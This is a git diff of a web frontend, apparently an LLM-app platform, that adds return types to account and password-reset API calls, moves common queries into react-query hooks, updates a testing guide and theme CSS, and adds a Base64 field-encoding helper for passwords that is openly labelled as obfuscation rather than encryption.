+export const enableModel = (url: string, body: { model: string; model_type: ModelTypeEnum }): Promise<CommonResponse> =>
   patch<CommonResponse>(url, { body })
 
-export const disableModel = (url: string, body: { model: string; model_type: ModelTypeEnum }) =>
+export const disableModel = (url: string, body: { model: string; model_type: ModelTypeEnum }): Promise<CommonResponse> =>
   patch<CommonResponse>(url, { body })
 
-export const sendForgotPasswordEmail: Fetcher<CommonResponse & { data: string }, { url: string; body: { email: string } }> = ({ url, body }) =>
+export const sendForgotPasswordEmail = ({ url, body }: { url: string; body: { email: string } }): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>(url, { body })
 
-export const verifyForgotPasswordToken: Fetcher<CommonResponse & { is_valid: boolean; email: string }, { url: string; body: { token: string } }> = ({ url, body }) => {
-  return post(url, { body }) as Promise<CommonResponse & { is_valid: boolean; email: string }>
+export const verifyForgotPasswordToken = ({ url, body }: { url: string; body: { token: string } }): Promise<CommonResponse & { is_valid: boolean; email: string }> => {
+  return post<CommonResponse & { is_valid: boolean; email: string }>(url, { body })
 }
 
-export const changePasswordWithToken: Fetcher<CommonResponse, { url: string; body: { token: string; new_password: string; password_confirm: string } }> = ({ url, body }) =>
+export const changePasswordWithToken = ({ url, body }: { url: string; body: { token: string; new_password: string; password_confirm: string } }): Promise<CommonResponse> =>
   post<CommonResponse>(url, { body })
 
-export const sendWebAppForgotPasswordEmail: Fetcher<CommonResponse & { data: string }, { url: string; body: { email: string } }> = ({ url, body }) =>
+export const sendWebAppForgotPasswordEmail = ({ url, body }: { url: string; body: { email: string } }): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>(url, { body }, { isPublicAPI: true })
 
-export const verifyWebAppForgotPasswordToken: Fetcher<CommonResponse & { is_valid: boolean; email: string }, { url: string; body: { token: string } }> = ({ url, body }) => {
-  return post(url, { body }, { isPublicAPI: true }) as Promise<CommonResponse & { is_valid: boolean; email: string }>
+export const verifyWebAppForgotPasswordToken = ({ url, body }: { url: string; body: { token: string } }): Promise<CommonResponse & { is_valid: boolean; email: string }> => {
+  return post<CommonResponse & { is_valid: boolean; email: string }>(url, { body }, { isPublicAPI: true })
 }
 
-export const changeWebAppPasswordWithToken: Fetcher<CommonResponse, { url: string; body: { token: string; new_password: string; password_confirm: string } }> = ({ url, body }) =>
+export const changeWebAppPasswordWithToken = ({ url, body }: { url: string; body: { token: string; new_password: string; password_confirm: string } }): Promise<CommonResponse> =>
   post<CommonResponse>(url, { body }, { isPublicAPI: true })
 
-export const uploadRemoteFileInfo = (url: string, isPublic?: boolean, silent?: boolean) => {
+export const uploadRemoteFileInfo = (url: string, isPublic?: boolean, silent?: boolean): Promise<{ id: string; name: string; size: number; mime_type: string; url: string }> => {
   return post<{ id: string; name: string; size: number; mime_type: string; url: string }>('/remote-files/upload', { body: { url } }, { isPublicAPI: isPublic, silent })
 }
 
-export const sendEMailLoginCode = (email: string, language = 'en-US') =>
+export const sendEMailLoginCode = (email: string, language = 'en-US'): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>('/email-code-login', { body: { email, language } })
 
-export const emailLoginWithCode = (data: { email: string; code: string; token: string; language: string }) =>
+export const emailLoginWithCode = (data: { email: string; code: string; token: string; language: string }): Promise<LoginResponse> =>
   post<LoginResponse>('/email-code-login/validity', { body: data })
 
-export const sendResetPasswordCode = (email: string, language = 'en-US') =>
+export const sendResetPasswordCode = (email: string, language = 'en-US'): Promise<CommonResponse & { data: string; message?: string; code?: string }> =>
   post<CommonResponse & { data: string; message?: string; code?: string }>('/forgot-password', { body: { email, language } })
 
-export const verifyResetPasswordCode = (body: { email: string; code: string; token: string }) =>
+export const verifyResetPasswordCode = (body: { email: string; code: string; token: string }): Promise<CommonResponse & { is_valid: boolean; token: string }> =>
   post<CommonResponse & { is_valid: boolean; token: string }>('/forgot-password/validity', { body })
 
-export const sendWebAppEMailLoginCode = (email: string, language = 'en-US') =>
+export const sendWebAppEMailLoginCode = (email: string, language = 'en-US'): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>('/email-code-login', { body: { email, language } }, { isPublicAPI: true })
 
-export const webAppEmailLoginWithCode = (data: { email: string; code: string; token: string }) =>
+export const webAppEmailLoginWithCode = (data: { email: string; code: string; token: string }): Promise<LoginResponse> =>
   post<LoginResponse>('/email-code-login/validity', { body: data }, { isPublicAPI: true })
 
-export const sendWebAppResetPasswordCode = (email: string, language = 'en-US') =>
+export const sendWebAppResetPasswordCode = (email: string, language = 'en-US'): Promise<CommonResponse & { data: string; message?: string; code?: string }> =>
   post<CommonResponse & { data: string; message?: string; code?: string }>('/forgot-password', { body: { email, language } }, { isPublicAPI: true })
 
-export const verifyWebAppResetPasswordCode = (body: { email: string; code: string; token: string }) =>
+export const verifyWebAppResetPasswordCode = (body: { email: string; code: string; token: string }): Promise<CommonResponse & { is_valid: boolean; token: string }> =>
   post<CommonResponse & { is_valid: boolean; token: string }>('/forgot-password/validity', { body }, { isPublicAPI: true })
 
-export const sendDeleteAccountCode = () =>
+export const sendDeleteAccountCode = (): Promise<CommonResponse & { data: string }> =>
   get<CommonResponse & { data: string }>('/account/delete/verify')
 
-export const verifyDeleteAccountCode = (body: { code: string; token: string }) =>
+export const verifyDeleteAccountCode = (body: { code: string; token: string }): Promise<CommonResponse & { is_valid: boolean }> =>
   post<CommonResponse & { is_valid: boolean }>('/account/delete', { body })
 
-export const submitDeleteAccountFeedback = (body: { feedback: string; email: string }) =>
+export const submitDeleteAccountFeedback = (body: { feedback: string; email: string }): Promise<CommonResponse> =>
   post<CommonResponse>('/account/delete/feedback', { body })
 
-export const getDocDownloadUrl = (doc_name: string) =>
+export const getDocDownloadUrl = (doc_name: string): Promise<{ url: string }> =>
   get<{ url: string }>('/compliance/download', { params: { doc_name } }, { silent: true })
 
-export const sendVerifyCode = (body: { email: string; phase: string; token?: string }) =>
+export const sendVerifyCode = (body: { email: string; phase: string; token?: string }): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>('/account/change-email', { body })
 
-export const verifyEmail = (body: { email: string; code: string; token: string }) =>
+export const verifyEmail = (body: { email: string; code: string; token: string }): Promise<CommonResponse & { is_valid: boolean; email: string; token: string }> =>
   post<CommonResponse & { is_valid: boolean; email: string; token: string }>('/account/change-email/validity', { body })
 
-export const resetEmail = (body: { new_email: string; token: string }) =>
+export const resetEmail = (body: { new_email: string; token: string }): Promise<CommonResponse> =>
   post<CommonResponse>('/account/change-email/reset', { body })
 
-export const checkEmailExisted = (body: { email: string }) =>
+export const checkEmailExisted = (body: { email: string }): Promise<CommonResponse> =>
   post<CommonResponse>('/account/change-email/check-email-unique', { body }, { silent: true })
diff --git a/web/service/datasets.ts b/web/service/datasets.ts
index 624da433f8..8791a61b7c 100644
--- a/web/service/datasets.ts
+++ b/web/service/datasets.ts
@@ -185,8 +185,8 @@ export const fetchFileIndexingEstimate = (body: IndexingEstimateParams): Promise
   return post<FileIndexingEstimateResponse>('/datasets/indexing-estimate', { body })
 }
 
-export const fetchNotionPagePreview = ({ workspaceID, pageID, pageType, credentialID }: { workspaceID: string; pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => {
-  return get<{ content: string }>(`notion/workspaces/${workspaceID}/pages/${pageID}/${pageType}/preview`, {
+export const fetchNotionPagePreview = ({ pageID, pageType, credentialID }: { pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => {
+  return get<{ content: string }>(`notion/pages/${pageID}/${pageType}/preview`, {
     params: {
       credential_id: credentialID,
     },
diff --git a/web/service/use-common.ts b/web/service/use-common.ts
index 51b35c453b..5c71553781 100644
--- a/web/service/use-common.ts
+++ b/web/service/use-common.ts
@@ -1,5 +1,8 @@
 import { get, post } from './base'
 import type {
+  AccountIntegrate,
+  CommonResponse,
+  DataSourceNotion,
   FileUploadConfigResponse,
   Member,
   StructuredOutputRulesRequestBody,
@@ -7,16 +10,112 @@ import type {
 } from '@/models/common'
 import { useMutation, useQuery } from '@tanstack/react-query'
 import type { FileTypesRes } from './datasets'
+import type { ICurrentWorkspace, IWorkspace, UserProfileResponse } from '@/models/common'
+import type {
+  Model,
+  ModelProvider,
+  ModelTypeEnum,
+} from '@/app/components/header/account-setting/model-provider-page/declarations'
+import type { RETRIEVE_METHOD } from '@/types/app'
+import type { LangGeniusVersionResponse } from '@/models/common'
+import type { PluginProvider } from '@/models/common'
+import type { ApiBasedExtension } from '@/models/common'
+import type { ModelParameterRule } from '@/app/components/header/account-setting/model-provider-page/declarations'
+import type { CodeBasedExtension } from '@/models/common'
+import { useInvalid } from './use-base'
 
 const NAME_SPACE = 'common'
 
+export const commonQueryKeys = {
+  fileUploadConfig: [NAME_SPACE, 'file-upload-config'] as const,
+  userProfile: [NAME_SPACE, 'user-profile'] as const,
+  currentWorkspace: [NAME_SPACE, 'current-workspace'] as const,
+  workspaces: [NAME_SPACE, 'workspaces'] as const,
+  members: [NAME_SPACE, 'members'] as const,
+  filePreview: (fileID: string) => [NAME_SPACE, 'file-preview', fileID] as const,
+  schemaDefinitions: [NAME_SPACE, 'schema-type-definitions'] as const,
+  isLogin: [NAME_SPACE, 'is-login'] as const,
+  modelProviders: [NAME_SPACE, 'model-providers'] as const,
+  modelList: (type: ModelTypeEnum) => [NAME_SPACE, 'model-list', type] as const,
+  defaultModel: (type: ModelTypeEnum) => [NAME_SPACE, 'default-model', type] as const,
+  retrievalMethods: [NAME_SPACE, 'support-retrieval-methods'] as const,
+  accountIntegrates: [NAME_SPACE, 'account-integrates'] as const,
+  pluginProviders: [NAME_SPACE, 'plugin-providers'] as const,
+  notionConnection: [NAME_SPACE, 'notion-connection'] as const,
+  apiBasedExtensions: [NAME_SPACE, 'api-based-extensions'] as const,
+  codeBasedExtensions: (module?: string) => [NAME_SPACE, 'code-based-extensions', module] as const,
+  invitationCheck: (params?: { workspace_id?: string; email?: string; token?: string }) => [
+    NAME_SPACE,
+    'invitation-check',
+    params?.workspace_id ?? '',
+    params?.email ?? '',
+    params?.token ?? '',
+  ] as const,
+  notionBinding: (code?: string | null) => [NAME_SPACE, 'notion-binding', code] as const,
+  modelParameterRules: (provider?: string, model?: string) => [NAME_SPACE, 'model-parameter-rules', provider, model] as const,
+  langGeniusVersion: (currentVersion?: string | null) => [NAME_SPACE, 'lang-genius-version', currentVersion] as const,
+  forgotPasswordValidity: (token?: string | null) => [NAME_SPACE, 'forgot-password-validity', token] as const,
+  dataSourceIntegrates: [NAME_SPACE, 'data-source-integrates'] as const,
+}
+
 export const useFileUploadConfig = () => {
   return useQuery<FileUploadConfigResponse>({
-    queryKey: [NAME_SPACE, 'file-upload-config'],
+    queryKey: commonQueryKeys.fileUploadConfig,
     queryFn: () => get<FileUploadConfigResponse>('/files/upload'),
   })
 }
 
+type UserProfileWithMeta = {
+  profile: UserProfileResponse
+  meta: {
+    currentVersion: string | null
+    currentEnv: string | null
+  }
+}
+
+export const useUserProfile = () => {
+  return useQuery<UserProfileWithMeta>({
+    queryKey: commonQueryKeys.userProfile,
+    queryFn: async () => {
+      const response = await get<Response>('/account/profile', {}, { needAllResponseContent: true }) as Response
+      const profile = await response.clone().json() as UserProfileResponse
+      return {
+        profile,
+        meta: {
+          currentVersion: response.headers.get('x-version'),
+          currentEnv: process.env.NODE_ENV === 'development'
+            ? 'DEVELOPMENT'
+            : response.headers.get('x-env'),
+        },
+      }
+    },
+    staleTime: 0,
+    gcTime: 0,
+  })
+}
+
+export const useLangGeniusVersion = (currentVersion?: string | null, enabled?: boolean) => {
+  return useQuery<LangGeniusVersionResponse>({
+    queryKey: commonQueryKeys.langGeniusVersion(currentVersion || undefined),
+    queryFn: () => get<LangGeniusVersionResponse>('/version', { params: { current_version: currentVersion } }),
+    enabled: !!currentVersion && (enabled ?? true),
+  })
+}
+
+export const useCurrentWorkspace = () => {
+  return useQuery<ICurrentWorkspace>({
+    queryKey: commonQueryKeys.currentWorkspace,
+    queryFn: () => post<ICurrentWorkspace>('/workspaces/current', { body: {} }),
+  })
+}
+
+export const useWorkspaces = () => {
+  return useQuery<{ workspaces: IWorkspace[] }>({
+    queryKey: commonQueryKeys.workspaces,
+    queryFn: () => get<{ workspaces: IWorkspace[] }>('/workspaces'),
+  })
+}
+
 export const useGenerateStructuredOutputRules = () => {
   return useMutation({
     mutationKey: [NAME_SPACE, 'generate-structured-output-rules'],
@@ -74,10 +173,8 @@ type MemberResponse = {
 
 export const useMembers = () => {
   return useQuery<MemberResponse>({
-    queryKey: [NAME_SPACE, 'members'],
-    queryFn: (params: Record<string, any>) => get<MemberResponse>('/workspaces/current/members', {
-      params,
-    }),
+    queryKey: commonQueryKeys.members,
+    queryFn: () => get<MemberResponse>('/workspaces/current/members', { params: {} }),
   })
 }
 
@@ -87,7 +184,7 @@ type FilePreviewResponse = {
 
 export const useFilePreview = (fileID: string) => {
   return useQuery<FilePreviewResponse>({
-    queryKey: [NAME_SPACE, 'file-preview', fileID],
+    queryKey: commonQueryKeys.filePreview(fileID),
     queryFn: () => get<FilePreviewResponse>(`/files/${fileID}/preview`),
     enabled: !!fileID,
   })
@@ -102,7 +199,7 @@ export type SchemaTypeDefinition = {
 
 export const useSchemaTypeDefinitions = () => {
   return useQuery<SchemaTypeDefinition[]>({
-    queryKey: [NAME_SPACE, 'schema-type-definitions'],
+    queryKey: commonQueryKeys.schemaDefinitions,
     queryFn: () => get<SchemaTypeDefinition[]>('/spec/schema-definitions'),
   })
 }
@@ -113,7 +210,7 @@ type isLogin = {
 
 export const useIsLogin = () => {
   return useQuery<isLogin>({
-    queryKey: [NAME_SPACE, 'is-login'],
+    queryKey: commonQueryKeys.isLogin,
     staleTime: 0,
     gcTime: 0,
     queryFn: async (): Promise<isLogin> => {
@@ -138,3 +235,141 @@ export const useLogout = () => {
     mutationFn: () => post('/logout'),
   })
 }
+
+type ForgotPasswordValidity = CommonResponse & { is_valid: boolean; email: string }
+export const useVerifyForgotPasswordToken = (token?: string | null) => {
+  return useQuery<ForgotPasswordValidity>({
+    queryKey: commonQueryKeys.forgotPasswordValidity(token),
+    queryFn: () => post<ForgotPasswordValidity>('/forgot-password/validity', { body: { token } }),
+    enabled: !!token,
+    staleTime: 0,
+    gcTime: 0,
+    retry: false,
+  })
+}
+
+type OneMoreStepPayload = {
+  invitation_code: string
+  interface_language: string
+  timezone: string
+}
+export const useOneMoreStep = () => {
+  return useMutation({
+    mutationKey: [NAME_SPACE, 'one-more-step'],
+    mutationFn: (body: OneMoreStepPayload) => post<CommonResponse>('/account/init', { body }),
+  })
+}
+
+export const useModelProviders = () => {
+  return useQuery<{ data: ModelProvider[] }>({
+    queryKey: commonQueryKeys.modelProviders,
+    queryFn: () => get<{ data: ModelProvider[] }>('/workspaces/current/model-providers'),
+  })
+}
+
+export const useModelListByType = (type: ModelTypeEnum, enabled = true) => {
+  return useQuery<{ data: Model[] }>({
+    queryKey: commonQueryKeys.modelList(type),
+    queryFn: () => get<{ data: Model[] }>(`/workspaces/current/models/model-types/${type}`),
+    enabled,
+  })
+}
+
+export const useDefaultModelByType = (type: ModelTypeEnum, enabled = true) => {
+  return useQuery({
+    queryKey: commonQueryKeys.defaultModel(type),
+    queryFn: () => get(`/workspaces/current/default-model?model_type=${type}`),
+    enabled,
+  })
+}
+
+export const useSupportRetrievalMethods = () => {
+  return useQuery<{ retrieval_method: RETRIEVE_METHOD[] }>({
+    queryKey: commonQueryKeys.retrievalMethods,
+    queryFn: () => get<{ retrieval_method: RETRIEVE_METHOD[] }>('/datasets/retrieval-setting'),
+  })
+}
+
+export const useAccountIntegrates = () => {
+  return useQuery<{ data: AccountIntegrate[] | null }>({
+    queryKey: commonQueryKeys.accountIntegrates,
+    queryFn: () => get<{ data: AccountIntegrate[] | null }>('/account/integrates'),
+  })
+}
+
+type DataSourceIntegratesOptions = {
+  enabled?: boolean
+  initialData?: { data: DataSourceNotion[] }
+}
+
+export const useDataSourceIntegrates = (options: DataSourceIntegratesOptions = {}) => {
+  const { enabled = true, initialData } = options
+  return useQuery<{ data: DataSourceNotion[] }>({
+    queryKey: commonQueryKeys.dataSourceIntegrates,
+    queryFn: () => get<{ data: DataSourceNotion[] }>('/data-source/integrates'),
+    enabled,
+    initialData,
+  })
+}
+
+export const useInvalidDataSourceIntegrates = () => {
+  return useInvalid(commonQueryKeys.dataSourceIntegrates)
+}
+
+export const usePluginProviders = () => {
+  return useQuery<PluginProvider[] | null>({
+    queryKey: commonQueryKeys.pluginProviders,
+    queryFn: () => get<PluginProvider[] | null>('/workspaces/current/tool-providers'),
+  })
+}
+
+export const useCodeBasedExtensions = (module: string) => {
+  return useQuery<CodeBasedExtension>({
+    queryKey: commonQueryKeys.codeBasedExtensions(module),
+    queryFn: () => get<CodeBasedExtension>(`/code-based-extension?module=${module}`),
+  })
+}
+
+export const useNotionConnection = (enabled: boolean) => {
+  return useQuery<{ data: string }>({
+    queryKey: commonQueryKeys.notionConnection,
+    queryFn: () => get<{ data: string }>('/oauth/data-source/notion'),
+    enabled,
+  })
+}
+
+export const useApiBasedExtensions = () => {
+  return useQuery<ApiBasedExtension[]>({
+    queryKey: commonQueryKeys.apiBasedExtensions,
+    queryFn: () => get<ApiBasedExtension[]>('/api-based-extension'),
+  })
+}
+
+export const useInvitationCheck = (params?: { workspace_id?: string; email?: string; token?: string }, enabled?: boolean) => {
+  return useQuery({
+    queryKey: commonQueryKeys.invitationCheck(params),
+    queryFn: () => get<{
+      is_valid: boolean
+      data: { workspace_name: string; email: string; workspace_id: string }
+      result: string
+    }>('/activate/check', { params }),
+    enabled: enabled ?? !!params?.token,
+    retry: false,
+  })
+}
+
+export const useNotionBinding = (code?: string | null, enabled?: boolean) => {
+  return useQuery({
+    queryKey: commonQueryKeys.notionBinding(code),
+    queryFn: () => get<{ result: string }>('/oauth/data-source/binding/notion', { params: { code } }),
+    enabled: !!code && (enabled ?? true),
+  })
+}
+
+export const useModelParameterRules = (provider?: string, model?: string, enabled?: boolean) => {
+  return useQuery<{ data: ModelParameterRule[] }>({
+    queryKey: commonQueryKeys.modelParameterRules(provider, model),
+    queryFn: () => get<{ data: ModelParameterRule[] }>(`/workspaces/current/model-providers/${provider}/models/parameter-rules`, { params: { model } }),
+    enabled: !!provider && !!model && (enabled ?? true),
+  })
+}
diff --git a/web/service/use-tools.ts b/web/service/use-tools.ts
index ad483bea11..6ac57e84d3 100644
--- a/web/service/use-tools.ts
+++ b/web/service/use-tools.ts
@@ -330,15 +330,24 @@ export const useRemoveProviderCredentials = ({
 
 const useRAGRecommendedPluginListKey = [NAME_SPACE, 'rag-recommended-plugins']
 
-export const useRAGRecommendedPlugins = () => {
+export const useRAGRecommendedPlugins = (type: 'tool' | 'datasource' | 'all' = 'all') => {
   return useQuery<RAGRecommendedPlugins>({
-    queryKey: useRAGRecommendedPluginListKey,
-    queryFn: () => get<RAGRecommendedPlugins>('/rag/pipelines/recommended-plugins'),
+    queryKey: [...useRAGRecommendedPluginListKey, type],
+    queryFn: () => get<RAGRecommendedPlugins>('/rag/pipelines/recommended-plugins', {
+      params: {
+        type,
+      },
+    }),
   })
 }
 
 export const useInvalidateRAGRecommendedPlugins = () => {
-  return useInvalid(useRAGRecommendedPluginListKey)
+  const queryClient = useQueryClient()
+  return (type: 'tool' | 'datasource' | 'all' = 'all') => {
+    queryClient.invalidateQueries({
+      queryKey: [...useRAGRecommendedPluginListKey, type],
+    })
+  }
 }
 
 // App Triggers API hooks
diff --git a/web/testing/testing.md b/web/testing/testing.md
index bf1b89af00..46c9d84b4d 100644
--- a/web/testing/testing.md
+++ b/web/testing/testing.md
@@ -42,7 +42,7 @@ pnpm test -- path/to/file.spec.tsx
 ## Test Authoring Principles
 
 - **Single behavior per test**: Each test verifies one user-observable behavior.
-- **Black-box first**: Assert external behavior and observable outputs, avoid internal implementation details.
+- **Black-box first**: Assert external behavior and observable outputs, avoid internal implementation details. Prefer role-based queries (`getByRole`) and pattern matching (`/text/i`) over hardcoded string assertions.
 - **Semantic naming**: Use `should <behavior> when <condition>` and group related cases with `describe(<subject or scenario>)`.
 - **AAA / Given–When–Then**: Separate Arrange, Act, and Assert clearly with code blocks or comments.
 - **Minimal but sufficient assertions**: Keep only the expectations that express the essence of the behavior.
@@ -93,6 +93,7 @@ Use `pnpm analyze-component <path>` to analyze component complexity and adopt di
    - Testing time-based behavior (delays, animations)
    - If you mock all time-dependent functions, fake timers are unnecessary
 1. **Prefer importing over mocking project components**: When tests need other components from the project, import them directly instead of mocking them. Only mock external dependencies, APIs, or complex context providers that are difficult to set up.
+1. **DO NOT mock base components**: Never mock components from `@/app/components/base/` (e.g., `Loading`, `Button`, `Tooltip`, `Modal`). Base components will have their own dedicated tests. Use real components to test actual integration behavior.
 
 **Why this matters**: Mocks that don't match actual behavior can lead to:
 
@@ -101,6 +102,43 @@ Use `pnpm analyze-component <path>` to analyze component complexity and adopt di
 - **Maintenance burden**: Tests become misleading documentation
 - **State leakage**: Tests interfere with each other when shared state isn't reset
 
+## Path-Level Testing Strategy
+
+When assigned to test a **directory/path** (not just a single file), follow these guidelines:
+
+### Coverage Scope
+
+- Test **ALL files** in the assigned directory, not just the entry `index` file
+- Include all components, hooks, utilities within the path
+- Goal: 100% coverage of the entire directory contents
+
+### Test Organization
+
+Choose based on directory complexity:
+
+1. **Single spec file (Integration approach)** - Preferred for related components
+
+   - Minimize mocking - use real project components
+   - Test actual integration between components
+   - Only mock: API calls, complex context providers, third-party libs
+
+1. **Multiple spec files (Unit approach)** - For complex directories
+
+   - One spec file per component/hook/utility
+   - More isolated testing
+   - Useful when components are independent
+
+### Integration Testing First
+
+When using a single spec file:
+
+- ✅ **Import real project components** directly (including base components and siblings)
+- ✅ **Only mock**: API services (`@/service/*`), `next/navigation`, complex context providers
+- ❌ **DO NOT mock** base components (`@/app/components/base/*`)
+- ❌ **DO NOT mock** sibling/child components in the same directory
+
+> See [Example Structure](#example-structure) for correct import/mock patterns.
+
 ## Testing Components with Dedicated Dependencies
 
 When a component has dedicated dependencies (custom hooks, managers, utilities) that are **only used by that component**, use the following strategy to balance integration testing and unit testing.
@@ -231,8 +269,16 @@ const mockGithubStar = (status: number, body: Record<string, unknown>, delayMs =
 import { render, screen, fireEvent, waitFor } from '@testing-library/react'
 import Component from './index'
 
-// Mock dependencies
+// ✅ Import real project components (DO NOT mock these)
+// import Loading from '@/app/components/base/loading'
+// import { ChildComponent } from './child-component'
+
+// ✅ Mock external dependencies only
 jest.mock('@/service/api')
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
 
 // Shared state for mocks (if needed)
 let mockSharedState = false
@@ -280,12 +326,19 @@ describe('ComponentName', () => {
 
 ### General
 
-1. **i18n**: Always return key
+1. **i18n**: Uses shared mock at `web/__mocks__/react-i18next.ts` (auto-loaded by Jest)
+
+   The shared mock returns translation keys as-is. For custom translations, override:
 
    ```typescript
    jest.mock('react-i18next', () => ({
      useTranslation: () => ({
-       t: (key: string) => key,
+       t: (key: string) => {
+         const translations: Record<string, string> = {
+           'my.custom.key': 'Custom translation',
+         }
+         return translations[key] || key
+       },
      }),
    }))
    ```
@@ -379,9 +432,9 @@ describe('Component', () => {
 
 ## Coverage Goals
 
-### ⚠️ MANDATORY: Complete Coverage in Single Generation
+### ⚠️ MANDATORY: Complete Coverage Per File
 
-Aim for 100% coverage:
+When generating tests for a **single file**, aim for 100% coverage in that generation:
 
 - ✅ 100% function coverage (every exported function/method tested)
 - ✅ 100% statement coverage (every line executed)
diff --git a/web/themes/dark.css b/web/themes/dark.css
index dae2add2b1..186080854a 100644
--- a/web/themes/dark.css
+++ b/web/themes/dark.css
@@ -6,6 +6,18 @@ html[data-theme="dark"] {
   --color-components-input-bg-active: rgb(255 255 255 / 0.05);
   --color-components-input-border-active: #747481;
   --color-components-input-border-destructive: #f97066;
+
+  /* Sticky header / Monaco editor sticky scroll colors (dark mode) */
+  /* Use solid panel background to ensure visibility when elements become sticky */
+  --color-components-sticky-header-bg: var(--color-components-panel-bg);
+  --color-components-sticky-header-bg-hover: var(--color-components-panel-on-panel-item-bg-hover);
+  --color-components-sticky-header-border: var(--color-components-panel-border);
+
+  /* Override Monaco/VSCode CSS variables for sticky scroll so the sticky header is opaque */
+  --vscode-editorStickyScroll-background: var(--color-components-sticky-header-bg);
+  --vscode-editorStickyScrollHover-background: var(--color-components-sticky-header-bg-hover);
+  --vscode-editorStickyScroll-border: var(--color-components-sticky-header-border);
+  --vscode-editorStickyScroll-shadow: rgba(0, 0, 0, 0.6);
   --color-components-input-text-filled: #f4f4f5;
   --color-components-input-bg-destructive: rgb(255 255 255 / 0.01);
   --color-components-input-bg-disabled: rgb(255 255 255 / 0.03);
diff --git a/web/types/feature.ts b/web/types/feature.ts
index 308c2e9bac..6c3bb29201 100644
--- a/web/types/feature.ts
+++ b/web/types/feature.ts
@@ -106,6 +106,7 @@ export enum DatasetAttr {
   DATA_MARKETPLACE_API_PREFIX = 'data-marketplace-api-prefix',
   DATA_MARKETPLACE_URL_PREFIX = 'data-marketplace-url-prefix',
   DATA_PUBLIC_EDITION = 'data-public-edition',
+  DATA_PUBLIC_AMPLITUDE_API_KEY = 'data-public-amplitude-api-key',
   DATA_PUBLIC_COOKIE_DOMAIN = 'data-public-cookie-domain',
   DATA_PUBLIC_SUPPORT_MAIL_LOGIN = 'data-public-support-mail-login',
   DATA_PUBLIC_SENTRY_DSN = 'data-public-sentry-dsn',
diff --git a/web/utils/classnames.spec.ts b/web/utils/classnames.spec.ts
index 55dc1cfd68..a1481e9e49 100644
--- a/web/utils/classnames.spec.ts
+++ b/web/utils/classnames.spec.ts
@@ -3,7 +3,7 @@
  * This utility combines the classnames library with tailwind-merge
  * to handle conditional CSS classes and merge conflicting Tailwind classes
  */
-import cn from './classnames'
+import { cn } from './classnames'
 
 describe('classnames', () => {
   /**
diff --git a/web/utils/classnames.ts b/web/utils/classnames.ts
index 6ce2284954..d32b0fe652 100644
--- a/web/utils/classnames.ts
+++ b/web/utils/classnames.ts
@@ -1,8 +1,6 @@
+import { type ClassValue, clsx } from 'clsx'
 import { twMerge } from 'tailwind-merge'
-import cn from 'classnames'
 
-const classNames = (...cls: cn.ArgumentArray) => {
-  return twMerge(cn(cls))
+export function cn(...inputs: ClassValue[]) {
+  return twMerge(clsx(inputs))
 }
-
-export default classNames
diff --git a/web/utils/encryption.ts b/web/utils/encryption.ts
new file mode 100644
index 0000000000..f96d8d02ac
--- /dev/null
+++ b/web/utils/encryption.ts
@@ -0,0 +1,46 @@
+/**
+ * Field Encoding Utilities
+ * Provides Base64 encoding for sensitive fields (password, verification code)
+ * during transmission from frontend to backend.
+ *
+ * Note: This uses Base64 encoding for obfuscation, not cryptographic encryption.
+ * Real security relies on HTTPS for transport layer encryption.
+ */
+
+/**
+ * Encode sensitive field using Base64
+ * @param plaintext - The plain text to encode
+ * @returns Base64 encoded text
+ */
+export function encryptField(plaintext: string): string {
+  try {
+        // Base64 encode the plaintext
+        // btoa works with ASCII, so we need to handle UTF-8 properly
+    const utf8Bytes = new TextEncoder().encode(plaintext)
+    const base64 = btoa(String.fromCharCode(...utf8Bytes))
+    return base64
+  }
+  catch (error) {
+    console.error('Field encoding failed:', error)
+        // If encoding fails, throw error to prevent sending plaintext
+    throw new Error('Encoding failed. Please check your input.')
+  }
+}
+
+/**
+ * Encrypt password field for login
+ * @param password - Plain password
+ * @returns Encrypted password or original if encryption disabled
+ */
+export function encryptPassword(password: string): string {
+  return encryptField(password)
+}
+
+/**
+ * Encrypt verification code for email code login
+ * @param code - Plain verification code
+ * @returns Encrypted code or original if encryption disabled
+ */
+export function encryptVerificationCode(code: string): string {
+  return encryptField(code)
+}